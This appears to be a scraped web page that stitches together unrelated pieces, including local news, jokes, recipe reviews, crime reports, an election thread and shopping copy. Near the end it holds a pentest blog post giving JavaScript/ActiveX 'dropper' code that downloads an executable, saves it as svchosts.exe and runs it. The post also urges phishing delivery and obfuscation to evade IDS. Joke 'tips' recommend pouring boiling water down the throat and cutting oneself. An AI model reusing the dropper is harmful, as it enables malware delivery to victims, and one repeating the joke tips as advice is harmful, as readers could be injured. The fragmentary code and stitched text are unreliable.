The La Plata Town Council appointed Hammad Matin as the Ward III councilman Tuesday evening.
Matin's appointment fills the vacancy left by former councilwoman Paretta "Paddy" Mudd's resignation at the December meeting.
Mudd's resignation took effect Jan. 1.
"When considering the people who live in Ward III, Hammad's name was foremost in my thoughts," La Plata Mayor Roy Hale said in a press release. "I have known Hammad and his family for quite a while and felt very strongly that he would be a great fit and perfect representative for the town."
In a follow-up phone interview with Hale, he said the council had considered "many other" possible replacements for Mudd, but Matin stood out.
"He was born and raised here, and he's a local attorney who practices law right here in La Plata," Hale said. "I think he'll do an excellent job."
Hale said the vote the council took to approve Matin's appointment was unanimous and that Mudd approves of her replacement.
"We're looking forward to working with him," Hale said.
In a phone interview, Matin said he eagerly awaits his new position.
"After Paddy resigned, Mayor Hale had approached me and initially I didn't know what he wanted," Matin said. "He told me he was looking for someone who was interested in filling the spot and asked if I'd be interested."
After making an unsuccessful bid for Charles County State's Attorney in 2010, Matin said he decided to devote the majority of his focus to his law practice but sees the opportunity to serve on the council as a political posting of a different nature.
"Unlike other positions where you run because you want the job or the power, this was different," Matin said. "This lets me serve the people of my town, where I live and work. I love this town very much, and it's a wonderful town. It's been very good to me. If I can work to continue the tradition of a small town that is growing in the right direction, then I'm excited to be a part of that and a voice for the residents of La Plata."
Matin will fill the position until May 1, when the town holds town council elections. He is unsure whether he will run to keep the spot.
"I want to make sure I'm good at the position and can give it the time," Matin said, adding that he was somewhat "nervous" about the time commitment involved.

Corporate Lesson 1 :
A man is getting into the shower just as his wife is finishing up her shower, when the doorbell rings. The wife quickly wraps herself in a towel and runs downstairs. When she opens the door, there stands Bob, the next door neighbor. Before she says a word, Bob says, "I'll give you $800 to drop that towel,". After thinking for a moment, the woman drops her towel and stands naked in front of Bob. After a few seconds, Bob hands her $800 dollars and leaves. The woman wraps back up in the towel and goes back upstairs. When she gets to the bathroom, her husband asks, "Who was that?"
"It was Bob the next door neighbor," she replies.
"Great!" the husband says, "did he say anything about the $800 he owes me?"
Moral of the story: If you share critical information pertaining to credit and risk with your shareholders in time, you may be in a position to prevent
avoidable exposure.
Corporate Lesson 2:
A sales rep, an administration clerk, and the manager are walking to lunch when they find an antique oil lamp. They rub it and a Genie comes out. The Genie says, "I'll give each of you just one wish." "Me first! Me first!" says the admin. clerk. "I want to be in the Bahamas , driving a speedboat, without a care in the world." Poof! She's gone. "Me next! Me next!" says the sales rep. "I want to be in Hawaii, relaxing on the beach with my personal masseuse, an endless supply of Pina Coladas and the love of my life. " Poof! He's gone. "OK, you're up," the Genie says to the manager.The manager says, "I want those two back in the office after lunch."
Moral of the story: Always let your boss have the first say.
Corporate Lesson 3:
A crow was sitting on a tree, doing nothing all day. A rabbit asked him, "Can I also sit like you and do nothing all day long?"
The crow answered: "Sure, why not." So, the rabbit sat on the ground below the crow, and rested. A fox jumped on the rabbit and ate it.
Moral of the story: To be sitting and doing nothing, you must be sitting very high up.
Corporate Lesson 4:
A turkey was chatting with a bull. "I would love to be able to Get to the top of that tree," sighed the turkey, but I haven't got the energy."
"Well, why don't you nibble on my droppings?" replied the bull." They're packed with nutrients." The turkey pecked at a lump of dung and found that it gave him enough strength to reach the lowest branch of the tree. The next day, after eating some more dung, he reached the second branch. Finally after a fourth night, there he was proudly perched at the top of the tree. Soon he was spotted by a farmer, who shot the turkey out of the tree.
Moral of the story: BS might get you to the top, but it won't keep you there.

Sid and Mundo were sitting in a Mexican restaurant. "Sid," asked Mundo, "Are there any Jews in Mexico?"
I don't know," Mundo replied. "Why don't we ask the waiter?"
When the waiter came by, Mundo asked him, "Are there any Mexican Jews?"
"I don't know sir, let me ask," the waiter replied, and he went into the kitchen. He returned in a few minutes and said, "No, sir. No Mexican Jews."
"Are you sure?" Mundo asked.
"I will check again, sir." the waiter replied and went back to the kitchen.
While he was still gone, Sid said, "I cannot believe there are no Jews in Mexico. Our people are scattered everywhere."
When the waiter returned he said, "Sir, no Mexican Jews."
"Are you really sure?" Mundo asked again. "I cannot believe there are no Mexican Jews."
"Sir, I ask everyone," the waiter replied exasperated. "We have orange Jews, prune Jews, tomato Jews, and grape Jews, but no one ever hear of Mexican Jews!"

A blonde called her boyfriend and said, "Please come over here and help me. I have a killer jigsaw puzzle, and I can't figure it out or how to get it started."
Her boyfriend asked, "What is it supposed to be when it's finished?"
The blonde said, "According to the picture on the box, it's a tiger."
Her boyfriend decided to go over and help with the puzzle. She let him in and showed him where she had the puzzle spread all over the table. He studied the pieces for a moment, then looked at the box.
He turned to her and said, "First of all, no matter what we do, we're not going to be able to assemble these pieces into anything resembling a tiger.
He took her hand and said, "Second, I want you to relax. Let's have a nice cup of hot chocolate and then............", he sighed,
.... "Let's put all these frosted flakes back in the box."

Rules of the West
They are as follows!!!
1. Pull your droopy pants up. You look like an idiot.
2. Turn your cap right, your head ain't crooked.
3. Let's get this straight; it's called a "gravel road." I drive a
pickup truck because I want to. No matter how slow you drive, you're
going to get dust on your Lexus. Drive it or get out of the way.
4. They are cattle. That's why they smell to you. They smell like
money to us. Get over it. Don't like it? I-40 goes east and west, I-65
goes north and south. Pick one.
5. So you have a $60,000 car. We're impressed. We have $250,000
combines that are driven only 3 weeks a year.
6. So every person in the Wild West waves. It's called being
friendly. Understand the concept.
7. If that cell phone rings while a bunch of doves are coming in, we
WILL shoot it out of your hand. You better hope you don't have it up to
your ear at the time.
8. Yeah, we eat trout, salmon, deer and elk. You really want sushi &
caviar? It's available at the corner bait shop.
9. The "Opener" refers to the first day of deer season. It's a
religious holiday held the closest Saturday to the first of November. 10.
We open doors for women. That is applied to all women, regardless
of age.
11. No, there's no "vegetarian special" on the menu. Order steak, or
you can order the Chef's Salad and pick off the 2 pounds of ham &
12. When we fill out a table, there are three main dishes: meats,
vegetables, and breads. We use three spices: salt, pepper, and ketchup!
Oh, yeah.... We don't care what you folks in Cincinnati call that stuff
you eat... IT AIN'T REAL CHILI!!
13. You bring "coke" into my house, it better be brown, wet and
over ice. You bring "Mary Jane" into my house, she better be cute, know
how to shoot, drive a truck, and have long hair.
14. College and High School Football is as important here as the
and the Knicks, and a dang site more fun to watch.
15. Yeah, we have golf courses. But don't hit the water hazards -- it
spooks the fish.
16. Colleges? We have them all over. We have State Universities,
Universities, and Vo-techs. They come outta there with an education
plus a love for God and country, and they still wave at everybody when they come home for the holidays.
17. We have more folks in the Army, Navy, Air Force, and Marines. So
don't mess with us. If you do, you will get whipped by the best.
18. Turn down that blasted car stereo! That thumpity-thump crap ain't
music, anyway. We don't want to hear it anymore than we want to see
your boxers! Refer back to #1!

1. Go to a second-hand store and buy a pair of men's used size 14-16 Work boots.
2. Place them on your front porch, along with several empty beer cans, a copy of Guns & Ammo magazine and several NRA magazines. ; ;
3. Put a few giant dog dishes next to the boots and magazine.
4. Leave a note on your door that reads:
"Hey Bubba, Big Jim, Duke and Slim, I went to the gun shop for more ammunition. Back in an hour. Don't mess with the pit bulls -- they attacked the mailman this morning and messed him up real bad. I don't think Killer took part in it but it was hard to tell from all the blood. "PS - I locked all four of 'em in the house. Better wait outside.

1. If you are choking on an ice cube, don't panic.
Simply pour a cup of boiling water down your throat and
presto, the blockage will be almost instantly removed.
2. Clumsy? Avoid cutting yourself while slicing
vegetables by getting someone else to hold them while
you chop away.
3. You can avoid arguments with the Mrs. about lifting
the toilet seat. just use the sink.
4. For high blood pressure sufferers: simply cut
yourself and bleed for a few minutes, thus reducing the
pressure in your veins. Remember to use an egg timer.
5. A mouse trap placed on top of your alarm clock will
prevent you from rolling over and going back to sleep
after you hit the snooze button.
6. If you have a bad cough, take a large dose of
laxatives. Then you will be afraid to cough.
7. Have a bad toothache? Smash your thumb with a
hammer and you will forget all about the toothache.
8. Sometimes, we just need to remember what the rules
of life really are:
In life, you only need two tools - WD-40 and Duct
If it doesn't move but should, use the WD-40.
If it should not move and does, use the duct tape.
9. Remember: Everyone seems normal until you get to
know them.

Talkative Wife (***Heavily Sanitized***)
A police officer pulls over a speeding car. The officer
says, "I clocked you at 80 miles per hour, sir."
The driver says, "Gee, officer I had it on cruise control
at 60, perhaps your radar gun needs calibrating."
Not looking up from her knitting the wife says: "Now don't
be silly dear, you know that this car doesn't have cruise
As the officer writes out the ticket, the driver looks
over at his wife and growls, "Can't you please keep
your darn mouth shut for once?"
The wife smiles demurely and says, "You should be
thankful your radar detector went off when it did."
As the officer makes out the second ticket for the
illegal radar detector unit, the man glowers at his
wife and says through clenched teeth, "Darnit,
can't you keep your mouth shut?"
The officer frowns and says, "And I notice that you're
not wearing your seat belt, sir. That's an automatic
$75 fine."
The driver says, "Yeah, well, you see officer, I had it
on, but took it off when you pulled me over so that I
could get my license out of my back pocket."
The wife says, "Now, dear, you know very well that you
didn't have your seat belt on. You never wear your seat
belt when you're driving."
And as the police officer is writing out the third
ticket the driver turns to his wife and barks, "WHY
The officer looks over at the woman and asks, "Does
your husband always talk to you this way, Ma'am?"
"Only when he's been drinking."

National Theatre Live: The Collaborators ENCORE
Moscow, 1938. A dangerous place to have a sense of humour; even more so a sense of freedom. Mikhail Bulgakov, living among dissidents, stalked by secret police, has both. And then he's offered a poisoned chalice: a commission to write a play about Stalin to celebrate his sixtieth birthday. Inspired by historical fact, Collaborators embarks on a surreal journey into the fevered imagination of the writer as he loses himself in a macabre and disturbingly funny relationship with the omnipotent subject of his drama.

Recipe by Laurie Wheeler
"Spinach and cheese stuffed into boneless, skinless chicken breasts. Serve with rice, noodles, or a great Greek salad!"
Hmm. None of these ingredients are on sale today.
Show ingredients on sale

Save money at local stores when ingredients are on sale!
Watch video tips and tricks
1/2 cup
1 (10 ounce) package
frozen chopped spinach, thawed and drained
1/2 cup
crumbled feta cheese
2 cloves
garlic, chopped
skinless, boneless chicken breasts
4 slices
I've made this several times, the first time following the directions exactly, but the bacon was undercooked and left the chicken very greasy. The next time I pre-cooked the bacon in the microwave about half way first, but again, the chicken was a bit greasy and the bacon wasn't doing anything to compliment the chicken. Now instead of bacon I wrap the chicken in prescutto and it's perfect! The flavors mix very well with the feta and spinach stuffing. It's now the first thing I cook for a guy when I want to impress him, and it works like a charm!
This recipe as is I would not have enjoyed however I took the basis and added my own ingredients. I first used monteray jack instead of feta because I don't like it. Then to the spinach mix I added chopped onion and mushroom as well as chopped bacon instead of wrapping the chicken in bacon. Once the chicken was cooked I topped it with a bernaise sauce. It was very rich and flavorful. Everyone loved it.

Very nutricious and delicious entree. Several reviewers said they found the chicken bland and dried out after the specified cooking time. After I butterflied the chicken breasts, I seasoned them with garlic powder and onion powder. Then, because I don't like chicken that does not have a golden color on the outside, I sauteed in a nonstick pan sprayed with Pam (because I am fat conscious due to cholesterol) for about 45 seconds per side til I got the color I wanted. (The center was still quite rare.) I made my stuffing by using only half of a 10 oz carton of frozen spinach. (Drain the spinach well on lots of paper towels.) Then I added 3 parts fat free sour cream to 1 part mayo. Per a previous reviewer I added 1 tsp of egg substitute to bind the mixture. I also sauteed sweet Vidalia onions and fresh minced garlic to add to the spinach mixture. Instead of feta cheese, I added grated Parmesan/Romano cheese (about 1/4 cup). After stuffing the chicken, I precooked slices of turkey bacon (less fat) and topped them on the chicken pieces. I covered my chicken with aluminum foil to bake in a 350 degree oven for about 30 minutes (depends on thickness of your butterflied breasts). It was quite moist and very flavorful (not bland or dry.) And because I cut back on fat at every opportunity, it was healthy for our lifestyle. Hope this helps those who have the same dietary concerns.
Very good! I made this over the weekend, adapting it a bit by making a mixture of lemon juice, olive oil, crushed garlic and oregano, and spooning it over the chicken breasts while they roasted (from another similar recipe here on Allrecipes.com). The lemon and feta work really well together, and the oil helps "crisp" the top of the chicken and bacon wrapped around it.
Love it. Have made some changes that will stay. I roll up inside a slice of prosciutto with the spinach and cheese. No mayo. Skip the bacon. I use a skillet to brown on all sides then add 3/4 cup chicken broth and 2-3 tbsp lemon juice cover and let simmer. Skip the oven. Takes maybe 12 minutes remove chicken wraps and simmer a minute longer to thicken sauce, if needed, then spoon over wraps.
Thanks for the easy and tasty recipe! I did what some other suggested and some chopped onion, sun dried tomatos and toasted pine nuts to the spinach mix. I also heated the oven to 400 degrees and cooked them for 15 minutes covered, 20 minutes uncovered and broiled them the last 5 minutes. The chicken browned a bit more, the bacon came out pretty crispy and the chicken was juicy and perfectly cooked.
This was a wonderful and easy chicken dinner that I will make again!
I too added a few of my own touches. I skipped the bacon, brushing olive oil on top of the chicken instead. Also, my family love mushrooms, so I chopped up mushroom, onion and threw in some bread crumbs into the stuffing, using egg as the binder instead of mayo....way yummy!
This is excellent. I took a previous reviewer's advice and made a sauce out of lemon juice,olive oil,fresh crushed garlic and oregano and drizzled over the chicken. My kids and Hubby love this !!!

Pewaukee man allegedly burglarized his next door neighbor
City of Pewaukee — A 35-year-old Pewaukee man stands accused of stealing then selling several pieces of jewelry from his neighbor.
Jonathan Armao was charged Wednesday, Aug. 26, in Waukesha County Circuit Court with burglary of a building or dwelling. If convicted, he could face up to 121/2 years in prison and $25,000 in fines.
According to the complaint, police suspect Armao of breaking into his neighbors' home sometime in the evening May 21. Armao's neighbors had left their home at about 4:30 p.m. that day and later called police to report the theft of some missing jewelry that included a 1959 class ring.
The owner of a Waukesha pawnshop told police in the complaint that Armao had sold some gold chains and rings May 21 at the pawnshop, one of which was the class ring.

Criminal charges have been brought against a 39-year-old Oconomowoc woman for a burglary she allegedly participated in 31/2 years ago.

According to a criminal complaint, Czaplewski in March 2012 stole clothes and some personal items from her friend Miceala Rupnow, of the city of Delafield.
Police reportedly discovered the theft after a friend the two had in common told officers that Czaplewski had bragged to her about stealing clothes from Rupnow.
The complaint said Czaplewski told the third friend she had stolen a dress belonging to Czaplewski "right out from under Miceala's nose" and later returned to Rupnow's home to steal more clothing and a CD.» Read Full Article
Area schools, educators keep busy preparing for new year
Students may have had the summer off, but that doesn't mean area school districts were devoid of activity. Building projects, teacher training and staff hiring were just some of the things keeping educators busy in advance of the 2015-16 school year, which kicked off Sept. 1 for most Lake Country schools. The following is a look at some of the goings-on, by district.
Arrowhead High School
Arrowhead has a new superintendent at the helm. Laura Myrah took over the position in July, but she's not the only one starting a new job. Myrah said the high school welcomes eight new teachers, two administrators (including herself) and a half-dozen faculty members stepping into new leadership roles, including two department chairpersons (social studies and language arts ) and two director positions (director of learning and director of student services ), plus more than a dozen new employees in support roles and coaching positions.
Myrah said educators were "hard at work during the summer" updating curriculum for courses, participating in training sessions, taking graduate-level coursework, collaborating and planning within their departments, and leading professional development sessions for others.
Arrowhead's administration has been planning for implementation of the district's goals and initiatives, including best preparing students for postsecondary education and/or future careers, continuing implementation of Educator Effectiveness (Wisconsin's new teacher and principal evaluation program) and enhancing communications with the community, including a new monthly e-newsletter called "Arrowhead Advisor."» Read Full Article

Judge: Probation for Delafield woman accused of child abuse
City of Waukesha — A Delafield woman previously accused of child abuse pleaded no contest to lesser charges and was sentenced in Waukesha County Circuit Court.
Online court records indicate that the woman, who will not be named to protect the identity of the victim, made her no-contest pleas during an Aug. 26 hearing. Judge Lee Dreyfus withheld a sentence for the woman in favor of 16 months of probation.
The woman pleaded no contest to reduced charges of misdemeanor battery and disorderly conduct as part of an agreement with the prosecution. Dreyfus found her guilty of those crimes at her sentencing. He ruled that the woman would serve 16 months of probation for each offense, but ordered that the probation terms be served concurrently.
As conditions of her probation, the woman must complete a parenting class and has been banned from physically punishing or disciplining her children. She is also prohibited from having any violent contact with any of her family members and from possessing or using any controlled substances.
The woman was originally charged with physical abuse of a child — intentionally causing bodily harm last December after Cushing Elementary School Principal Rebecca Toetz noticed the woman's 6-year-old son had severe bruising on his back and contacted child services.» Read Full Article

Charity concert set for Sept. 6 at band shell in Oconomowoc
City of Oconomowoc — Every season can be a season of giving.
That's what Oconomowoc resident Terry Williams believes anyway, which is why she's organized a special concert to help raise donations for Operation Christmas Child, an Evangelical organization that's very close to her heart.
The concert kicks off 7 p.m. Sunday, Sept. 6 at the Rhodee Memorial Bandshell, 324 W. Wisconsin Ave., near City Beach, and will last for two hours. Williams and other volunteers will have a donation drop-off station open from 5 to 9 p.m. near the band shell to collect various items for Operation Christmas Child.
"It should be a fun night," Williams said.
Music at the concert, which is free and open to the public, will be provided by Billy Sullivan, previously of Gary Lewis and the Playboys and The Raspberries. Sullivan usually performs covers of Beatles' songs and other music from the 60s.» Read Full Article

Decision expected on Lisbon convenience center
Town of Lisbon - After hearing more than 20 hours of testimony, a specially convened review panel may make a decision next week on the siting of a fueling and convenience center complex at the roundabout intersection of Hwys. 164 and Q.
The review panel - compromised of four town board members and the chairman of the town's zoning board of appeals - has a number of alternatives in reaching its decision, according to Attorney John M. "Jack" Bruce who serves as legal advisor to the review board.
The board could vote to affirm two decisions by the town plan commission to reject the plans submitted by Wexford Heights, a Germantown based development company.
The plans include a fueling center, convenience store, car wash, and drive through restaurant located near the intersection on land once occupied by an Associated Bank branch office.
Some plan commissioners and town residents argue the complex is too large and poses potential hazards to neighborhood ground water resources and motorists traveling through the roundabout.» Read Full Article

Related story: New federal campaign urges parents to teach dangers of alcohol to pre-teens
This story was corrected at 2:35 p.m. May 15, 2013.
There's a lot that sets Bayard Miller apart from his peers: his high grades, his stellar test scores — and the time he spent kicking an alcohol addiction. At one time during his junior year, he was downing a fifth of vodka on some days.
It's a story most kids still in high school wouldn't tell. But Miller, an 18-year old senior at Bethesda-Chevy Chase High School, is not like most kids.
He used his experience as an alcoholic as the topic for one of his essays that earned him the distinguished honor of being named one of two U.S. Presidential Scholars from Maryland this year.
"I'm an alcoholic," he said. "One of my essays was about [getting well] and my life after that. I think they were impressed that I left school for a month and maintained a 4.0 [grade point average]."
In that essay, Miller wrote: "The summer [before] junior year I started drinking alone. I loved being drunk and decided it was dumb that drinking alone was frowned upon by society. After all, Hemingway did it and he was successful. So I started buying half gallons of vodka for myself. Drinking alone at the age of 16 is bad under any circumstances, but my habit got much worse when I tore my shoulder playing football. The season ending injury gave me more free time and less reason for staying in shape, so I started drinking every night. On what was a normal Wednesday for me, I polished off a fifth of vodka. My parents found me stumbling drunk and took me to the hospital."
"I took one look at him and knew he was drunk," Miller's mother, Caroline Adams Miller, said. "He had maybe a fifth of vodka that night. He really couldn't make sense. It was really one of the worst nights of our life."
Afraid that he may have had a stroke, Caroline Miller called an ambulance and had her son hospitalized.
It was the beginning of a monthlong journey to sobriety. A journey he knows will really last his whole life.
"Sobriety was tough initially," he wrote in the last paragraph of his essay. "I felt like I was never going to be normal again, that I would always be on the fringe of society — but I was proven wrong. Nobody has stopped hanging out with me because of my situation. I understand that some people feel bad for me because of my alcoholism but I certainly don't. I've learned to deal with emotions without hiding behind a drug and I'm happier than I've ever been."
Miller's parents and B-CC social studies teacher Tim Gilmore said they were amazed he kept up his grades while drinking so heavily.
On his Presidential Scholar questionnaire, Miller named Gilmore as a teacher who significantly influenced him.
Miller would get his alcohol by illegally buying it from a Washington liquor store and drank it alone in his room at night, his mother said.
"The remarkable thing to me was that he was able to get up the next day and go to school and get A's," his father, Haywood Miller, said.
Gilmore echoed that.
"I had no clue whatsoever," Gilmore said. "His grades didn't reflect it, his behavior didn't reflect it. He's a great kid. He's very well spoken. He asks great questions. I know if he doesn't get it, the other kids aren't getting it as well."
Gilmore said Miller missed some school after his shoulder injury, then was gone for some time. He did not know why.
"When his parents let us know, we were floored," he said, speaking of the school staff. "With straight A's and all his work in on time, the signs were not there. With someone who is struggling, you can ask [if he is having a problem]."
Caroline Miller said B-CC supported her son and sent work to him during the 30 days he was out of school working on his sobriety, so he would not fall behind.
"The most difficult time is junior year and right in the middle of it, he hit bottom," she said. "But he was able to hold it together. I want to throw a lot of credit towards the school. They made the process work for Bayard. They bent over backwards to help him reintegrate."
Bayard Miller said Gilmore was a big help when he went back to school.
"He came up to me and said, 'Anytime you need to talk,'" Miller said.
Miller said he attends Alcoholics Anonymous meetings two times a week and expects he might go more often when he starts college at the University of Pittsburgh in the fall, until he gets acclimated there.
Miller won a four-year scholarship for his tuition to Pitt, where he plans to study history and accounting.
He said he thinks most kids at school know he is an alcoholic and he is willing to talk to anyone who asks. It's happened once or twice so far and he approached one person he thought smoked too much marijuana, he said. "I just told him, 'That's not good.'"
"Pretty much everybody I know drinks. Nobody pressures me," he said. "In high school, the pressure [to drink] is not explicit. It's more internal."
Miller is scheduled to receive his Presidential Scholar Medallion during a ceremony June 16 in Washington. He will be honored along with Maryland's female award winner, Marni Morse of Richard Montgomery High School in Rockville.
The U.S. Department of Education names just two students from each state — one boy and one girl — as Presidential Scholars each year.
Created in 1964, the U.S. Presidential Scholars Program has honored more than 6,000 of the nation's top-performing students. The program was expanded in 1979 to recognize students who demonstrate exceptional talent in the visual, literary and performing arts.
As for now, Miller is finishing his senior year, enjoying proms and other festivities and planning a trip to Europe with his older sister. He said he is honored to win the Presidential Scholar award and knows it puts him in an exclusive club.
"It will be an experience I'll never forget," he said. "I'll meet a bunch of interesting people. To win, you have to be pretty interesting."
Editor's note: This version recharacterizes Bayard Miller's alcohol consumption.

July 6, 2011 -- Adolescent injury deaths have dropped in recent years, and so have percentages of childhood and preterm births, according to a new federal report on the overall well-being of America's youth.
The report, "America's Children: Key National Indicators of Well-Being 2011," says injury deaths of children ages 5 to 14 dropped from 6.1 per 100,000 in 2008 to 5.7 per 100,000 in 2009.
In that period, injury deaths declined from 44 per 100,000 to 39 per 100,000 among 15-to-19-year olds.
But not all statistics highlighted in the massive report are rosy. For example, a higher proportion of eighth graders used illicit drugs in the period studied, more children lived in poverty, 59% of children lived in counties where air pollutants were above safe standards, and the poverty rate for all children increased from 18% in 2007 to 21% in 2009.
Snapshot of U.S. Adolescents
Among key findings in the report:
- The birth rate of girls ages 15-17 was 20.1 per 1,000 adolescents in 2009, a decline from 21.7 in 2008 and 22.1 in 2007.
- The preterm birth rate (born before 37 weeks) declined from 12.3% in 2008 to 12.2% in 2009.
- Fewer 12th graders engaged in binge drinking in the years examined. Students in 12th grade who said they had five or more alcoholic beverages in a row at least once in the past two weeks dropped from 25% in 2009 to 23% in 2010.
- Adolescent coverage for the meningococcal vaccine went up from 32% in 2007 to 54% in 2009.
- About 10% of children (7.5 million) had no health insurance in 2009.
- 75% of children from birth through age 17 lived with at least one parent employed year round full-time in 2008, compared to 72% in 2009.
- There were 50.6 births for every 1,000 unmarried women between 15 and 44 in 2009; 41% of all births were to unmarried women.
- In 2007, 48% of high school students reported ever having had sexual intercourse; that dropped to 46% in 2009.
- Illicit drug use in the previous 30 days among eighth grade students rose from 8% in 2009 to almost 10% in 2010.
- As of 2008, about 2.5% of U.S. children had joined families through adoption.
- Infant mortality, meaning deaths before the first birthday, went down in 2009 at 6.4 per 1,000, compared to 6.6 in 2008.
- Obesity for kids 6 to 17 years old rose from 17% in 2005-2006 to 19% in 2007-2008.
- The percentage of 12th graders who smoke cigarettes remained fairly stable at 11%.
- There were 74.2 million children from birth to 17 in the U.S. in 2010, or 24% of the population.
- The racial and ethnic diversity of America's children has grown dramatically. In 2023, fewer than half of all children are projected to be white, non-Hispanic.
Adolescent Health in Perspective
Alan E. Guttmacher, MD, director of the Eunice Kennedy Shriver National Institute of Child Health and Human Development, says in a news release that it was "reassuring" to see continued declines in preterm and adolescent birth rates.
Edward Sondik, PhD, director of the CDC's National Center for Health Statistics, points to "significant declines in infant mortality and in fatal injuries to teens" as being among the more interesting snapshots contained in the report.
The report's special feature on adoption says adoption is preferred over alternatives such as long-term foster care or care in group homes, emergency shelters, and orphanages. While most adopted children thrive, some experience disruptions in parenting that can affect long-term well-being, the report says.
The report was compiled by the Federal Interagency Forum on Child and Family Statistics, a group of 22 federal agencies that collect, analyze, and convey data on issues related to children and families.

- " We were really impressed when we reached the building but everything else was disappointing. We had to sleep in a house next to the main building. Our private bathroom was in a horrible condition. When we came back in the evening the room was full of spiders, sowbugs and moths (even though we had closed the windows). The staff was friendly and offered us a new room for the next day. There weren't any insects but the room and the hostel itself was run-down. Not a place to feel comfortable :( "

- " The directions for getting to the hostel were a little confusing for us. It was a long walk up the hill and we did not have a way to know if we had missed the hostel or gone the wrong direction. I would recommend including in the directions the fact that you are up the hill quite a ways. "

33% getting worse.
29% staying same.
Good numbers for Obama there.
Exit polls are hardly decisive. As they mentioned on CNN, in 2004 the early exits looked great for John Kerry.
But that being said, these are pretty unanimously good exit polls for Obama. As John King pointed out, the people either "enthusiastic" or "satisfied" with the Obama administration in Virginia adds up to 50%. The people "dissatisfied" or "angry" adds up to 48%.
And this is why people were paranoid about voting machines...
Terrorist attack count against the Anything Goes Thread: 4
Absentee and early voting ballots will be available almost right after polls close in Florida. It will allow a lot of early panic or celebrating.

If you are going to watch television news, I suggest CNN. They have the best election team in cable news.
Romney dominating in Indiana. Thats big because of the margin. Romney was expected to carry that state, but the margin and the fact Obama took Indiana in 08 is big.
Bill Belichick on "putting the tape on"
Obama up 10 in Florida with 4% in. That number will change, imo.
Obama is outperforming his numbers in the I-4 corridor in Florida. That could mean big things for them.

Meaning & Origins
Biblical name, composed of two different Hebrew elements, Yah(weh) and El, both of which mean 'God' the implication of the name is that the Hebrew God, Yahweh, is the only true god. This is a common name in the Bible, being borne by, among others, one of King David's 'mighty men' (1 Chronicles 11:38), and a minor prophet who lived in the 8th century bc. The name has been perennially popular as a Jewish name; it was also taken up by the Puritans and other Christian fundamentalists. The name has long been in regular use in North America but was uncommon in Britain until the 1990s. Well-known bearers of the name include the American singer and entertainer Joel Grey (b. 1932), the West Indian cricketer Joel Garner (b. 1952), and the American film director Joel Coen (b. 1954).

How To Buy Socks
There is no other part of the anatomy so crucial to athletic performance
than the human foot. As the base of our structural support system and home to
thousands of nerve endings and sweat glands, our feet play an important role in
our body's biomechanical efficiency and thermal regulation. It is estimated
that 3-out-of-4 Americans experience chronic foot pain. Even more experience
discomfort from blisters or cold feet.
If you've had consistent problems or
other discomforts in your feet, you'll need to answer a few questions before
you buy your next pair of socks.
Today many manufacturers use special moisture-wicking fibers as well as
unique construction techniques and patented anatomical designs to create
technical performance socks based on sports-specific use. Before you shop, it
pays to have an overview of the different materials:

Goodbye Silverdome, hello Ford Field! With a spectacular new downtown stadium, the football renaissance has begun in Detroit. With giant windowed walls overlooking the downtown skyline, and exposed steel-beam construction, this is one of the most unique places in America to watch a football game.
Like all prints in Rob Arra's Everlasting Images collection, the entire stadium is in perfect focus, and as you pan across the image you feel like you are actually there, witnessing the inaugural regular-season game at Ford - a wild 37-31 loss to the hated Green Bay Packers. From the stadium scoreboards, to the fans in the stands, to the action on the field, it's all here! A stunning piece for the wall of any fan, and a great collector's item for years to come as the Lions franchise continues to its return to excellence. Worthy of a nice frame and a prominent place on the wall of home or office!

So after a long hiatus of no posts I figured it was time to step up and post something that may be of interest to pentesters. In the spirit of continuity to some previous posts about client-side attacks and as a follow up to some discussions that Chris and I have been having, this post will be about Client-side Ownage.
It's nothing groundbreaking but may have a place in your arsenal of tools and attack vectors. What do you do when all those cool client-side attacks in Metasploit fail? Damn those companies that patch 3rd party products. As shown in the previous posts it's still possible to gather a great deal of information about the remote user, host and network using PHP and some Java but what do you do when you need a foothold on that host to pivot further into the network?
Enter the Dropper. Using JavaScript and Microsoft's XMLHTTPRequest Object it is possible to download and run your backdoor with just a little interaction from the victim. The XMLHTTPRequest Object, a core component of AJAX, provides support for client-side communication with a HTTP server. A user can make use of the XMLHTTP Object to send a request and have the XML DOM parse that request. Great if you have data such as XML that you need to parse and display on a page for example.
What about requesting another file type like, oh I don't know, an exe? This might have some value. :) Lets take a look at a JavaScript function to do just that.
First we need to create our object elements and the required attributes needed to download and execute the file we want:
function dropper() {
var x = document.createElement('object');
try {
var obj = x.CreateObject('msxml2.XMLHTTP','');
var app = x.CreateObject('Shell.Application','');
var str = x.CreateObject('ADODB.stream','');
We use document.createElement to create an element and use it in conjunction with setAttribute to modify the attributes of each new element. The classid in use is a Remote Data Service object. It allows the execution of code from a remote source. Search your registry and you'll see that it is assigned to RDS.DataSpace, a non-visual ActiveX control, which handles remote data connections. This function is part of Microsoft's MDAC.
We create our msxml2.XMLHTTP object which will handle communication with the web server that is hosting our executable.
Then we use the Object element to instantiate a Shell Object which is identified by the CLASSID.
The ADODB.Stream object in ActiveX, which contains methods to manage a stream of binary data or text, is used to handle the storing and saving of the data to a file.
Now let's grab the file, install it to a directory of our choice and run it.
try {
str.type = 1;
var path = './/..//svchosts.exe';
catch(e) {}
First we use the Type property to set the type of data in the stream object. 1 is for Binary.
Next we use the XMLHTTPRequest Open Method intialize an MSXML2.XMLHTTP request in which we specify the retrieval method, URL and authentication information if any. The XMLHTTPRequest Send Method allows us to send the HTTP request to the server.
The ADODB.stream Open Method is used to create and open a Stream opject. The ADODB.stream Write Method is used to write the binary data to a binary Stream object. After specifying the path we now use the ADODB.stream SaveToFile method is used to save contents of our open Stream object to a local file of our choosing. In this case we use am option value of 2 that overwrites the file if it already exists. We then close the object.
The next step is to use our Shell Object to execute our newly downloaded executable using the shellexecute function.
try {
catch(e) {}
catch(e) {}
Place this code in a webpage either directly or through an include, create a good phishing email (see other posts) and send it off to your victims. Before anyone makes mention that this requires ActiveX to run remember that enough users will allow ActiveX controls to be run for it to be useful. On I.E. 6 this should perform a silent download and on I.E. 7 it will prompt the user.
You can add additional code to the page to check the browser version and prompt the user to either change to IE or have a direct link to the file for the user to click and run. Remember it just takes one user that follows the link to give you access.
One other thing to consider is IDS/IPS evasion. The code above will likely get flagged by an IDS in the form it is now. Look at JavaScript obfuscation techniques such as 'string-splitting', arguments.callee() and other methods to evade the IDS or just hide your code.
Variants of this method we have just discussed are actually widely used by malware authors on their sites to drop files onto users systems. Have a look at the next spam email you get and decode the JavaScript on the page.

Nice Post. Keep up the good work.

In IE6 and IE7 default XP SP2 installs I did not get this to work.
I modified the EXE to a file hosted online.
If I save the file locally, and open the HTML page then I get an active X prompt, however, after accepting the warning nothing happens.
What am I doing wrong?

Serie noire
